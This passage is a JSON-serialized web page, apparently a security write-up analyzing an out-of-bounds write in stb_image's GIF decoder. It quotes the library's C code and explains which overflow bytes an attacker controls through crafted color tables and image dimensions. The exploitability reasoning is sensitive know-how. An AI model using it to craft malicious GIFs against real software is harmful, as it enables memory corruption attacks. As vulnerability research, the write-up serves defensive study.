"tag":216,"props":152238,"children":152239},{"class":6916,"line":7210},[152240,152244,152248,152252,152256,152260,152264],{"type":25,"tag":216,"props":152241,"children":152242},{"style":6958},[152243],{"type":31,"value":151954},{"type":25,"tag":216,"props":152245,"children":152246},{"style":6947},[152247],{"type":31,"value":266},{"type":25,"tag":216,"props":152249,"children":152250},{"style":6947},[152251],{"type":31,"value":11087},{"type":25,"tag":216,"props":152253,"children":152254},{"style":6941},[152255],{"type":31,"value":113244},{"type":25,"tag":216,"props":152257,"children":152258},{"style":6958},[152259],{"type":31,"value":17708},{"type":25,"tag":216,"props":152261,"children":152262},{"style":6941},[152263],{"type":31,"value":122651},{"type":25,"tag":216,"props":152265,"children":152266},{"style":6958},[152267],{"type":31,"value":151979},{"type":25,"tag":216,"props":152269,"children":152270},{"class":6916,"line":7238},[152271,152275,152279,152283,152287,152291,152295,152299,152303,152307],{"type":25,"tag":216,"props":152272,"children":152273},{"style":6941},[152274],{"type":31,"value":151987},{"type":25,"tag":216,"props":152276,"children":152277},{"style":6958},[152278],{"type":31,"value":17708},{"type":25,"tag":216,"props":152280,"children":152281},{"style":6941},[152282],{"type":31,"value":151996},{"type":25,"tag":216,"props":152284,"children":152285},{"style":6958},[152286],{"type":31,"value":152001},{"type":25,"tag":216,"props":152288,"children":152289},{"style":6947},[152290],{"type":31,"value":5749},{"type":25,"tag":216,"props":152292,"children":152293},{"style":6983},[152294],{"type":31,"value":15695},{"type":25,"tag":216,"props":152296,"children":152297},{"style":6958},[152298],{"type":31,"value":12608},{"type":25,"tag":216,"props":152300,"children":152301},{"style":6947},[152302],{"type":31,"value":266},{"type":25,"tag":216,"props":152304,"children":152305},{"style":6983},[152306],{"type":31,"value":8465},{"type":25,"tag":216,"props":152308,"children":152309},{"style":6958},[152310],{"type":31,"value":152311},";  \n",{"type":25,"tag":216,"props":152313,"children":152314},{"class":6916,"line":7251},[152315],{"type":25,"tag":216,"props":152316,"children":152317},{"emptyLinePlaceholder":16},[152318],{"type":31,"value":7636},{"type":25,"tag":216,"props":152320,"children":152321},{"class":6916,"line":7269},[152322,152327,152331,152335,152339,152343,152348,152352,152356,152360,152365,152370,152375,152379,152383],{"type":25,"tag":216,"props":152323,"children":152324},{"style":6958},[152325],{"type":31,"value":152326},"   c ",{"type":25,"tag":216,"props":152328,"children":152329},{"style":6947},[152330],{"type":31,"value":266},{"type":25,"tag":216,"props":152332,"children":152333},{"style":6947},[152334],{"type":31,"value":11087},{"type":25,"tag":216,"props":152336,"children":152337},{"style":6941},[152338],{"type":31,"value":113244},{"type":25,"tag":216,"props":152340,"children":152341},{"style":6958},[152342],{"type":31,"value":17708},{"type":25,"tag":216,"props":152344,"children":152345},{"style":6941},[152346],{"type":31,"value":152347},"color_table",{"type":25,"tag":216,"props":152349,"children":152350},{"style":6958},[152351],{"type":31,"value":7695},{"type":25,"tag":216,"props":152353,"children":152354},{"style":6941},[152355],{"type":31,"value":113244},{"type":25,"tag":216,"props":152357,"children":152358},{"style":6958},[152359],{"type":31,"value":17708},{"type":25,"tag":216,"props":152361,"children":152362},{"style":6941},[152363],{"type":31,"value":152364},"codes",{"type":25,"tag":216,"props":152366,"children":152367},{"style":6958},[152368],{"type":31,"value":152369},"[code].",{"type":25,"tag":216,"props":152371,"children":152372},{"style":6941},[152373],{"type":31,"value":152374},"suffix",{"type":25,"tag":216,"props":152376,"children":152377},{"style":6947},[152378],{"type":31,"value":13767},{"type":25,"tag":216,"props":152380,"children":152381},{"style":6983},[152382],{"type":31,"value":15695},{"type":25,"tag":216,"props":152384,"children":152385},{"style":6958},[152386],{"type":31,"value":35530},{"type":25,"tag":216,"props":152388,"children":152389},{"class":6916,"line":7290},[152390,152394,152398,152402,152406,152410,152414,152418,152423],{"type":25,"tag":216,"props":152391,"children":152392},{"style":6967},[152393],{"type":31,"value":56606},{"type":25,"tag":216,"props":152395,"children":152396},{"style":6958},[152397],{"type":31,"value":7010},{"type":25,"tag":216,"props":152399,"children":152400},{"style":6941},[152401],{"type":31,"value":2248},{"type":25,"tag":216,"props":152403,"children":152404},{"style":6958},[152405],{"type":31,"value":7695},{"type":25,"tag":216,"props":152407,"children":152408},{"style":6983},[152409],{"type":31,"value":21247},{"type":25,"tag":216,"props":152411,"children":152412},{"style":6958},[152413],{"type":31,"value":12608},{"type":25,"tag":216,"props":152415,"children":152416},{"style":6947},[152417],{"type":31,"value":5896},{"type":25,"tag":216,"props":152419,"children":152420},{"style":6983},[152421],{"type":31,"value":152422}," 128",{"type":25,"tag":216,"props":152424,"children":152425},{"style":6958},[152426],{"type":31,"value":18755},{"type":25,"tag":216,"props":152428,"children":152429},{"class":6916,"line":7299},[152430,152435,152439,152443,152447,152451,152455,152459,152463,152467],{"type":25,"tag":216,"props":152431,"children":152432},{"style":6941},[152433],{"type":31,"value":152434},"      p",{"type":25,"tag":216,"props":152436,"children":152437},{"style":6958},[152438],{"type":31,"value":7695},{"type":25,"tag":216,"props":152440,"children":152441},{"style":6983},[152442],{"type":31,"value":1876},{"type":25,"tag":216,"props":152444,"children":152445},{"style":6958},[152446],{"type":31,"value":12608},{"type":25,"tag":216,"props":152448,"children":152449},{"style":6947},[152450],{"type":31,"value":266},{"type":25,"tag":216,"props":152452,"children":152453},{"style":6941},[152454],{"type":31,"value":41402},{"type":25,"tag":216,"props":152456,"children":152457},{"style":6958},[152458],{"type":31,"value":7695},{"type":25,"tag":216,"props":152460,"children":152461},{"style":6983},[152462],{"type":31,"value":331},{"type":25,"tag":216,"props":152464,"children":152465},{"style":6958},[152466],{"type":31,"value":59874},{"type":25,"tag":216,"props":152468,"children":152469},{"style":6921},[152470],{"type":31,"value":152471},"        // OOB write\n",{"type":25,"tag":216,"props":152473,"children":152474},{"class":6916,"line":7551},[152475,152479,152483,152487,152491,152495,152499,152503,152507],{"type":25,"tag":216,"props":152476,"children":152477},{"style":6941},[152478],{"type":31,"value":152434},{"type":25,"tag":216,"props":152480,"children":152481},{"style":6958},[152482],{"type":31,"value":7695},{"type":25,"tag":216,"props":152484,"children":152485},{"style":6983},[152486],{"type":31,"value":184},{"type":25,"tag":216,"props":152488,"children":152489},{"style":6958},[152490],{"type":31,"value":12608},{"type":25,"tag":216,"props":152492,"children":152493},{"style":6947},[152494],{"type":31,"value":266},{"type":25,"tag":216,"props":152496,"children":152497},{"style":6941},[152498],{"type":31,"value":41402},{"type":25,"tag":216,"props":152500,"children":152501},{"style":6958},[152502],{"type":31,"value":7695},{"type":25,"tag":216,"props":152504,"children":152505},{"style":6983},[152506],{"type":31,"value":184},{"type":25,"tag":216,"props":152508,"children":152509},{"style":6958},[152510],{"type":31,"value":35530},{"type":25,"tag":216,"props":152512,"children":152513},{"class":6916,"line":7568},[152514,152518,152522,152526,152530,152534,152538,152542,152546],{"type":25,"tag":216,"props":152515,"children":152516},{"style":6941},[152517],{"type":31,"value":152434},{"type":25,"tag":216,"props":152519,"children":152520},{"style":6958},[152521],{"type":31,"value":7695},{"type":25,"tag":216,"props":152523,"children":152524},{"style":6983},[152525],{"type":31,"value":331},{"type":25,"tag":216,"props":152527,"children":152528},{"style":6958},[152529],{"type":31,"value":12608},{"type":25,"tag":216,"props":152531,"children":152532},{"style":6947},[152533],{"type":31,"value":266},{"type":25,"tag":216,"props":152535,"children":152536},{"style":6941},[152537],{"type":31,"value":41402},{"type":25,"tag":216,"props":152539,"children":152540},{"style":6958},[152541],{"type":31,"value":7695},{"type":25,"tag":216,"props":152543,"children":152544},{"style":6983},[152545],{"type":31,"value":1876},{"type":25,"tag":216,"props":152547,"children":152548},{"style":6958},[152549],{"type":31,"value":35530},{"type":25,"tag":216,"props":152551,"children":152552},{"class":6916,"line":7585},[152553,152557,152561,152565,152569,152573,152577,152581,152585],{"type":25,"tag":216,"props":152554,"children":152555},{"style":6941},[152556],{"type":31,"value":152434},{"type":25,"tag":216,"props":152558,"children":152559},{"style":6958},[152560],{"type":31,"value":7695},{"type":25,"tag":216,"props":152562,"children":152563},{"style":6983},[152564],{"type":31,"value":21247},{"type":25,"tag":216,"props":152566,"children":152567},{"style":6958},[152568],{"type":31,"value":12608},{"type":25,"tag":216,"props":152570,"children":152571},{"style":6947},[152572],{"type":31,"value":266},{"type":25,"tag":216,"props":152574,"children":152575},{"style":6941},[152576],{"type":31,"value":41402},{"type":25,"tag":216,"props":152578,"children":152579},{"style":6958},[152580],{"type":31,"value":7695},{"type":25,"tag":216,"props":152582,"children":152583},{"style":6983},[152584],{"type":31,"value":21247},{"type":25,"tag":216,"props":152586,"children":152587},{"style":6958},[152588],{"type":31,"value":35530},{"type":25,"tag":216,"props":152590,"children":152591},{"class":6916,"line":7598},[152592],{"type":25,"tag":216,"props":152593,"children":152594},{"style":6958},[152595],{"type":31,"value":38705},{"type":25,"tag":38,"props":152597,"children":152598},{},[152599,152601,152606,152608,152613],{"type":31,"value":152600},"This confirms ",{"type":25,"tag":82,"props":152602,"children":152604},{"className":152603},[],[152605],{"type":31,"value":80483},{"type":31,"value":152607}," is OOB for ",{"type":25,"tag":82,"props":152609,"children":152611},{"className":152610},[],[152612],{"type":31,"value":152091},{"type":31,"value":152614}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":25,"tag":38,"props":152616,"children":152617},{},[152618,152620,152626,152628,152635],{"type":31,"value":152619},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":25,"tag":82,"props":152621,"children":152623},{"className":152622},[],[152624],{"type":31,"value":152625},"g->color_table",{"type":31,"value":152627}," is populated by ",{"type":25,"tag":162,"props":152629,"children":152632},{"href":152630,"rel":152631},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[166],[152633],{"type":31,"value":152634},"stbi__gif_parse_colortable",{"type":31,"value":1466},{"type":25,"tag":206,"props":152637,"children":152639},{"code":152638,"language":2248,"meta":7,"className":20467,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[152640],{"type":25,"tag":82,"props":152641,"children":152642},{"__ignoreMap":7},[152643,152663,152683,152722,152738,152750,152757,152768,152811,152845,152876,152907,152964,152971],{"type":25,"tag":216,"props":152644,"children":152645},{"class":6916,"line":6917},[152646,152650,152654,152659],{"type":25,"tag":216,"props":152647,"children":152648},{"style":6930},[152649],{"type":31,"value":55007},{"type":25,"tag":216,"props":152651,"children":152652},{"style":6930},[152653],{"type":31,"value":55012},{"type":25,"tag":216,"props":152655,"children":152656},{"style":7041},[152657],{"type":31,"value":152658}," stbi__gif_parse_colortable",{"type":25,"tag":216,"props":152660,"children":152661},{"style":6958},[152662],{"type":31,"value":7414},{"type":25,"tag":216,"props":152664,"children":152665},{"class":6916,"line":6763},[152666,152671,152675,152679],{"type":25,"tag":216,"props":152667,"children":152668},{"style":6958},[152669],{"type":31,"value":152670},"    stbi__context ",{"type":25,"tag":216,"props":152672,"children":152673},{"style":6947},[152674],{"type":31,"value":8513},{"type":25,"tag":216,"props":152676,"children":152677},{"style":6941},[152678],{"type":31,"value":3239},{"type":25,"tag":216,"props":152680,"children":152681},{"style":6958},[152682],{"type":31,"value":7459},{"type":25,"tag":216,"props":152684,"children":152685},{"class":6916,"line":6772},[152686,152691,152696,152700,152704,152708,152712,152717],{"type":25,"tag":216,"props":152687,"children":152688},{"style":6958},[152689],{"type":31,"value":152690},"    stbi_uc ",{"type":25,"tag":216,"props":152692,"children":152693},{"style":6941},[152694],{"type":31,"value":152695},"pal",{"type":25,"tag":216,"props":152697,"children":152698},{"style":6958},[152699],{"type":31,"value":7695},{"type":25,"tag":216,"props":152701,"children":152702},{"style":6983},[152703],{"type":31,"value":97255},{"type":25,"tag":216,"props":152705,"children":152706},{"style":6958},[152707],{"type":31,"value":52921},{"type":25,"tag":216,"props":152709,"children":152710},{"style":6983},[152711],{"type":31,"value":21480},{"type":25,"tag":216,"props":152713,"children":152714},{"style":6958},[152715],{"type":31,"value":152716},"],",{"type":25,"tag":216,"props":152718,"children":152719},{"style":6921},[152720],{"type":31,"value":152721},"    // g->color_table\n",{"type":25,"tag":216,"props":152723,"children":152724},{"class":6916,"line":6999},[152725,152729,152734],{"type":25,"tag":216,"props":152726,"children":152727},{"style":6930},[152728],{"type":31,"value":23031},{"type":25,"tag":216,"props":152730,"children":152731},{"style":6941},[152732],{"type":31,"value":152733}," num_entries",{"type":25,"tag":216,"props":152735,"children":152736},{"style":6958},[152737],{"type":31,"value":7459},{"type":25,"tag":216,"props":152739,"children":152740},{"class":6916,"line":7104},[152741,152745],{"type":25,"tag":216,"props":152742,"children":152743},{"style":6930},[152744],{"type":31,"value":23031},{"type":25,"tag":216,"props":152746,"children":152747},{"style":6958},[152748],{"type":31,"value":152749}," transp\n",{"type":25,"tag":216,"props":152751,"children":152752},{"class":6916,"line":7210},[152753],{"type":25,"tag":216,"props":152754,"children":152755},{"style":6958},[152756],{"type":31,"value":18755},{"type":25,"tag":216,"props":152758,"children":152759},{"class":6916,"line":7238},[152760,152764],{"type":25,"tag":216,"props":152761,"children":152762},{"style":6930},[152763],{"type":31,"value":151812},{"type":25,"tag":216,"props":152765,"children":152766},{"style":6958},[152767],{"type":31,"value":61926},{"type":25,"tag":216,"props":152769,"children":152770},{"class":6916,"line":7251},[152771,152776,152781,152785,152789,152793,152797,152802,152806],{"type":25,"tag":216,"props":152772,"children":152773},{"style":6967},[152774],{"type":31,"value":152775},"   for",{"type":25,"tag":216,"props":152777,"children":152778},{"style":6958},[152779],{"type":31,"value":152780}," (i",{"type":25,"tag":216,"props":152782,"children":152783},{"style":6947},[152784],{"type":31,"value":266},{"type":25,"tag":216,"props":152786,"children":152787},{"style":6983},[152788],{"type":31,"value":1876},{"type":25,"tag":216,"props":152790,"children":152791},{"style":6958},[152792],{"type":31,"value":55196},{"type":25,"tag":216,"props":152794,"children":152795},{"style":6947},[152796],{"type":31,"value":9751},{"type":25,"tag":216,"props":152798,"children":152799},{"style":6958},[152800],{"type":31,"value":152801}," num_entries; ",{"type":25,"tag":216,"props":152803,"children":152804},{"style":6947},[152805],{"type":31,"value":55232},{"type":25,"tag":216,"props":152807,"children":152808},{"style":6958},[152809],{"type":31,"value":152810},"i) {\n",{"type":25,"tag":216,"props":152812,"children":152813},{"class":6916,"line":7269},[152814,152819,152823,152827,152831,152835,152840],{"type":25,"tag":216,"props":152815,"children":152816},{"style":6941},[152817],{"type":31,"value":152818},"      pal",{"type":25,"tag":216,"props":152820,"children":152821},{"style":6958},[152822],{"type":31,"value":64616},{"type":25,"tag":216,"props":152824,"children":152825},{"style":6983},[152826],{"type":31,"value":331},{"type":25,"tag":216,"props":152828,"children":152829},{"style":6958},[152830],{"type":31,"value":12608},{"type":25,"tag":216,"props":152832,"children":152833},{"style":6947},[152834],{"type":31,"value":266},{"type":25,"tag":216,"props":152836,"children":152837},{"style":7041},[152838],{"type":31,"value":152839}," stbi__get8",{"type":25,"tag":216,"props":152841,"children":152842},{"style":6958},[152843],{"type":31,"value":152844},"(s);\n",{"type":25,"tag":216,"props":152846,"children":152847},{"class":6916,"line":7290},[152848,152852,152856,152860,152864,152868,152872],{"type":25,"tag":216,"props":152849,"children":152850},{"style":6941},[152851],{"type":31,"value":152818},{"type":25,"tag":216,"props":152853,"children":152854},{"style":6958},[152855],{"type":31,"value":64616},{"type":25,"tag":216,"props":152857,"children":152858},{"style":6983},[152859],{"type":31,"value":184},{"type":25,"tag":216,"props":152861,"children":152862},{"style":6958},[152863],{"type":31,"value":12608},{"type":25,"tag":216,"props":152865,"children":152866},{"style":6947},[152867],{"type":31,"value":266},{"type":25,"tag":216,"props":152869,"children":152870},{"style":7041},[152871],{"type":31,"value":152839},{"type":25,"tag":216,"props":152873,"children":152874},{"style":6958},[152875],{"type":31,"value":152844},{"type":25,"tag":216,"props":152877,"children":152878},{"class":6916,"line":7299},[152879,152883,152887,152891,152895,152899,152903],{"type":25,"tag":216,"props":152880,"children":152881},{"style":6941},[152882],{"type":31,"value":152818},{"type":25,"tag":216,"props":152884,"children":152885},{"style":6958},[152886],{"type":31,"value":64616},{"type":25,"tag":216,"props":152888,"children":152889},{"style":6983},[152890],{"type":31,"value":1876},{"type":25,"tag":216,"props":152892,"children":152893},{"style":6958},[152894],{"type":31,"value":12608},{"type":25,"tag":216,"props":152896,"children":152897},{"style":6947},[152898],{"type":31,"value":266},{"type":25,"tag":216,"props":152900,"children":152901},{"style":7041},[152902],{"type":31,"value":152839},{"type":25,"tag":216,"props":152904,"children":152905},{"style":6958},[152906],{"type":31,"value":152844},{"type":25,"tag":216,"props":152908,"children":152909},{"class":6916,"line":7551},[152910,152914,152918,152922,152926,152930,152935,152939,152943,152947,152951,152955,152960],{"type":25,"tag":216,"props":152911,"children":152912},{"style":6941},[152913],{"type":31,"value":152818},{"type":25,"tag":216,"props":152915,"children":152916},{"style":6958},[152917],{"type":31,"value":64616},{"type":25,"tag":216,"props":152919,"children":152920},{"style":6983},[152921],{"type":31,"value":21247},{"type":25,"tag":216,"props":152923,"children":152924},{"style":6958},[152925],{"type":31,"value":12608},{"type":25,"tag":216,"props":152927,"children":152928},{"style":6947},[152929],{"type":31,"value":266},{"type":25,"tag":216,"props":152931,"children":152932},{"style":6958},[152933],{"type":31,"value":152934}," transp ",{"type":25,"tag":216,"props":152936,"children":152937},{"style":6947},[152938],{"type":31,"value":12522},{"type":25,"tag":216,"props":152940,"children":152941},{"style":6958},[152942],{"type":31,"value":58506},{"type":25,"tag":216,"props":152944,"children":152945},{"style":6947},[152946],{"type":31,"value":605},{"type":25,"tag":216,"props":152948,"children":152949},{"style":6983},[152950],{"type":31,"value":6986},{"type":25,"tag":216,"props":152952,"children":152953},{"style":6947},[152954],{"type":31,"value":39073},{"type":25,"tag":216,"props":152956,"children":152957},{"style":6983},[152958],{"type":31,"value":152959}," 255",{"type":25,"tag":216,"props":152961,"children":152962},{"style":6958},[152963],{"type":31,"value":6961},{"type":25,"tag":216,"props":152965,"children":152966},{"class":6916,"line":7568},[152967],{"type":25,"tag":216,"props":152968,"children":152969},{"style":6958},[152970],{"type":31,"value":38705},{"type":25,"tag":216,"props":152972,"children":152973},{"class":6916,"line":7585},[152974],{"type":25,"tag":216,"props":152975,"children":152976},{"style":6958},[152977],{"type":31,"value":7868},{"type":25,"tag":38,"props":152979,"children":152980},{},[152981,152983,152988,152989,152994,152996,153001],{"type":31,"value":152982},"The first three bytes are read from the input image, while the last byte can be either ",{"type":25,"tag":82,"props":152984,"children":152986},{"className":152985},[],[152987],{"type":31,"value":1876},{"type":31,"value":17084},{"type":25,"tag":82,"props":152990,"children":152992},{"className":152991},[],[152993],{"type":31,"value":117280},{"type":31,"value":152995},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":25,"tag":82,"props":152997,"children":152999},{"className":152998},[],[153000],{"type":31,"value":33802},{"type":31,"value":1466},{"type":25,"tag":206,"props":153003,"children":153005},{"code":153004,"language":2248,"meta":7,"className":20467,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[153006],{"type":25,"tag":82,"props":153007,"children":153008},{"__ignoreMap":7},[153009,153072,153111,153150,153189,153228,153267],{"type":25,"tag":216,"props":153010,"children":153011},{"class":6916,"line":6917},[153012,153016,153020,153024,153028,153032,153036,153040,153044,153048,153052,153056,153060,153064,153068],{"type":25,"tag":216,"props":153013,"children":153014},{"style":6958},[153015],{"type":31,"value":152326},{"type":25,"tag":216,"props":153017,"children":153018},{"style":6947},[153019],{"type":31,"value":266},{"type":25,"tag":216,"props":153021,"children":153022},{"style":6947},[153023],{"type":31,"value":11087},{"type":25,"tag":216,"props":153025,"children":153026},{"style":6958},[153027],{"type":31,"value":113244},{"type":25,"tag":216,"props":153029,"children":153030},{"style":6947},[153031],{"type":31,"value":17708},{"type":25,"tag":216,"props":153033,"children":153034},{"style":6941},[153035],{"type":31,"value":152347},{"type":25,"tag":216,"props":153037,"children":153038},{"style":6958},[153039],{"type":31,"value":7695},{"type":25,"tag":216,"props":153041,"children":153042},{"style":6941},[153043],{"type":31,"value":113244},{"type":25,"tag":216,"props":153045,"children":153046},{"style":6958},[153047],{"type":31,"value":17708},{"type":25,"tag":216,"props":153049,"children":153050},{"style":6941},[153051],{"type":31,"value":152364},{"type":25,"tag":216,"props":153053,"children":153054},{"style":6958},[153055],{"type":31,"value":152369},{"type":25,"tag":216,"props":153057,"children":153058},{"style":6941},[153059],{"type":31,"value":152374},{"type":25,"tag":216,"props":153061,"children":153062},{"style":6947},[153063],{"type":31,"value":13767},{"type":25,"tag":216,"props":153065,"children":153066},{"style":6983},[153067],{"type":31,"value":15695},{"type":25,"tag":216,"props":153069,"children":153070},{"style":6958},[153071],{"type":31,"value":35530},{"type":25,"tag":216,"props":153073,"children":153074},{"class":6916,"line":6763},[153075,153079,153083,153087,153091,153095,153099,153103,153107],{"type":25,"tag":216,"props":153076,"children":153077},{"style":6967},[153078],{"type":31,"value":56606},{"type":25,"tag":216,"props":153080,"children":153081},{"style":6958},[153082],{"type":31,"value":7010},{"type":25,"tag":216,"props":153084,"children":153085},{"style":6941},[153086],{"type":31,"value":2248},{"type":25,"tag":216,"props":153088,"children":153089},{"style":6958},[153090],{"type":31,"value":7695},{"type":25,"tag":216,"props":153092,"children":153093},{"style":6983},[153094],{"type":31,"value":21247},{"type":25,"tag":216,"props":153096,"children":153097},{"style":6958},[153098],{"type":31,"value":12608},{"type":25,"tag":216,"props":153100,"children":153101},{"style":6947},[153102],{"type":31,"value":5896},{"type":25,"tag":216,"props":153104,"children":153105},{"style":6983},[153106],{"type":31,"value":152422},{"type":25,"tag":216,"props":153108,"children":153109},{"style":6958},[153110],{"type":31,"value":18755},{"type":25,"tag":216,"props":153112,"children":153113},{"class":6916,"line":6772},[153114,153118,153122,153126,153130,153134,153138,153142,153146],{"type":25,"tag":216,"props":153115,"children":153116},{"style":6941},[153117],{"type":31,"value":152434},{"type":25,"tag":216,"props":153119,"children":153120},{"style":6958},[153121],{"type":31,"value":7695},{"type":25,"tag":216,"props":153123,"children":153124},{"style":6983},[153125],{"type":31,"value":1876},{"type":25,"tag":216,"props":153127,"children":153128},{"style":6958},[153129],{"type":31,"value":12608},{"type":25,"tag":216,"props":153131,"children":153132},{"style":6947},[153133],{"type":31,"value":266},{"type":25,"tag":216,"props":153135,"children":153136},{"style":6941},[153137],{"type":31,"value":41402},{"type":25,"tag":216,"props":153139,"children":153140},{"style":6958},[153141],{"type":31,"value":7695},{"type":25,"tag":216,"props":153143,"children":153144},{"style":6983},[153145],{"type":31,"value":331},{"type":25,"tag":216,"props":153147,"children":153148},{"style":6958},[153149],{"type":31,"value":35530},{"type":25,"tag":216,"props":153151,"children":153152},{"class":6916,"line":6999},[153153,153157,153161,153165,153169,153173,153177,153181,153185],{"type":25,"tag":216,"props":153154,"children":153155},{"style":6941},[153156],{"type":31,"value":152434},{"type":25,"tag":216,"props":153158,"children":153159},{"style":6958},[153160],{"type":31,"value":7695},{"type":25,"tag":216,"props":153162,"children":153163},{"style":6983},[153164],{"type":31,"value":184},{"type":25,"tag":216,"props":153166,"children":153167},{"style":6958},[153168],{"type":31,"value":12608},{"type":25,"tag":216,"props":153170,"children":153171},{"style":6947},[153172],{"type":31,"value":266},{"type":25,"tag":216,"props":153174,"children":153175},{"style":6941},[153176],{"type":31,"value":41402},{"type":25,"tag":216,"props":153178,"children":153179},{"style":6958},[153180],{"type":31,"value":7695},{"type":25,"tag":216,"props":153182,"children":153183},{"style":6983},[153184],{"type":31,"value":184},{"type":25,"tag":216,"props":153186,"children":153187},{"style":6958},[153188],{"type":31,"value":35530},{"type":25,"tag":216,"props":153190,"children":153191},{"class":6916,"line":7104},[153192,153196,153200,153204,153208,153212,153216,153220,153224],{"type":25,"tag":216,"props":153193,"children":153194},{"style":6941},[153195],{"type":31,"value":152434},{"type":25,"tag":216,"props":153197,"children":153198},{"style":6958},[153199],{"type":31,"value":7695},{"type":25,"tag":216,"props":153201,"children":153202},{"style":6983},[153203],{"type":31,"value":331},{"type":25,"tag":216,"props":153205,"children":153206},{"style":6958},[153207],{"type":31,"value":12608},{"type":25,"tag":216,"props":153209,"children":153210},{"style":6947},[153211],{"type":31,"value":266},{"type":25,"tag":216,"props":153213,"children":153214},{"style":6941},[153215],{"type":31,"value":41402},{"type":25,"tag":216,"props":153217,"children":153218},{"style":6958},[153219],{"type":31,"value":7695},{"type":25,"tag":216,"props":153221,"children":153222},{"style":6983},[153223],{"type":31,"value":1876},{"type":25,"tag":216,"props":153225,"children":153226},{"style":6958},[153227],{"type":31,"value":35530},{"type":25,"tag":216,"props":153229,"children":153230},{"class":6916,"line":7210},[153231,153235,153239,153243,153247,153251,153255,153259,153263],{"type":25,"tag":216,"props":153232,"children":153233},{"style":6941},[153234],{"type":31,"value":152434},{"type":25,"tag":216,"props":153236,"children":153237},{"style":6958},[153238],{"type":31,"value":7695},{"type":25,"tag":216,"props":153240,"children":153241},{"style":6983},[153242],{"type":31,"value":21247},{"type":25,"tag":216,"props":153244,"children":153245},{"style":6958},[153246],{"type":31,"value":12608},{"type":25,"tag":216,"props":153248,"children":153249},{"style":6947},[153250],{"type":31,"value":266},{"type":25,"tag":216,"props":153252,"children":153253},{"style":6941},[153254],{"type":31,"value":41402},{"type":25,"tag":216,"props":153256,"children":153257},{"style":6958},[153258],{"type":31,"value":7695},{"type":25,"tag":216,"props":153260,"children":153261},{"style":6983},[153262],{"type":31,"value":21247},{"type":25,"tag":216,"props":153264,"children":153265},{"style":6958},[153266],{"type":31,"value":35530},{"type":25,"tag":216,"props":153268,"children":153269},{"class":6916,"line":7238},[153270],{"type":25,"tag":216,"props":153271,"children":153272},{"style":6958},[153273],{"type":31,"value":38705},{"type":25,"tag":38,"props":153275,"children":153276},{},[153277,153278,153283,153285,153290,153292,153297],{"type":31,"value":27966},{"type":25,"tag":82,"props":153279,"children":153281},{"className":153280},[],[153282],{"type":31,"value":152634},{"type":31,"value":153284}," has to set the last byte to ",{"type":25,"tag":82,"props":153286,"children":153288},{"className":153287},[],[153289],{"type":31,"value":117280},{"type":31,"value":153291}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":25,"tag":82,"props":153293,"children":153295},{"className":153294},[],[153296],{"type":31,"value":117280},{"type":31,"value":179},{"type":25,"tag":38,"props":153299,"children":153300},{},[153301,153303,153308,153310,153316,153317,153323],{"type":31,"value":153302},"In the code we can see that size of the ",{"type":25,"tag":82,"props":153304,"children":153306},{"className":153305},[],[153307],{"type":31,"value":152091},{"type":31,"value":153309}," allocation is controlled through ",{"type":25,"tag":82,"props":153311,"children":153313},{"className":153312},[],[153314],{"type":31,"value":153315},"g->w",{"type":31,"value":1301},{"type":25,"tag":82,"props":153318,"children":153320},{"className":153319},[],[153321],{"type":31,"value":153322},"g->h",{"type":31,"value":153324}," values, both of which are read from the input file itself:",{"type":25,"tag":206,"props":153326,"children":153328},{"code":153327,"language":2248,"meta":7,"className":20467,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[153329],{"type":25,"tag":82,"props":153330,"children":153331},{"__ignoreMap":7},[153332,153357,153364,153371,153406,153452],{"type":25,"tag":216,"props":153333,"children":153334},{"class":6916,"line":6917},[153335,153339,153344,153348,153352],{"type":25,"tag":216,"props":153336,"children":153337},{"style":6930},[153338],{"type":31,"value":55007},{"type":25,"tag":216,"props":153340,"children":153341},{"style":6958},[153342],{"type":31,"value":153343}," stbi_uc ",{"type":25,"tag":216,"props":153345,"children":153346},{"style":6947},[153347],{"type":31,"value":8513},{"type":25,"tag":216,"props":153349,"children":153350},{"style":7041},[153351],{"type":31,"value":151270},{"type":25,"tag":216,"props":153353,"children":153354},{"style":6958},[153355],{"type":31,"value":153356},"(...)\n",{"type":25,"tag":216,"props":153358,"children":153359},{"class":6916,"line":6763},[153360],{"type":25,"tag":216,"props":153361,"children":153362},{"style":6958},[153363],{"type":31,"value":14830},{"type":25,"tag":216,"props":153365,"children":153366},{"class":6916,"line":6772},[153367],{"type":25,"tag":216,"props":153368,"children":153369},{"style":6958},[153370],{"type":31,"value":151832},{"type":25,"tag":216,"props":153372,"children":153373},{"class":6916,"line":6999},[153374,153378,153382,153386,153390,153394,153398,153402],{"type":25,"tag":216,"props":153375,"children":153376},{"style":6967},[153377],{"type":31,"value":56606},{"type":25,"tag":216,"props":153379,"children":153380},{"style":6958},[153381],{"type":31,"value":7010},{"type":25,"tag":216,"props":153383,"children":153384},{"style":6941},[153385],{"type":31,"value":113244},{"type":25,"tag":216,"props":153387,"children":153388},{"style":6958},[153389],{"type":31,"value":17708},{"type":25,"tag":216,"props":153391,"children":153392},{"style":6941},[153393],{"type":31,"value":122651},{"type":25,"tag":216,"props":153395,"children":153396},{"style":6947},[153397],{"type":31,"value":7226},{"type":25,"tag":216,"props":153399,"children":153400},{"style":6983},[153401],{"type":31,"value":6986},{"type":25,"tag":216,"props":153403,"children":153404},{"style":6958},[153405],{"type":31,"value":18755},{"type":25,"tag":216,"props":153407,"children":153408},{"class":6916,"line":7104},[153409,153413,153417,153421,153426,153431,153435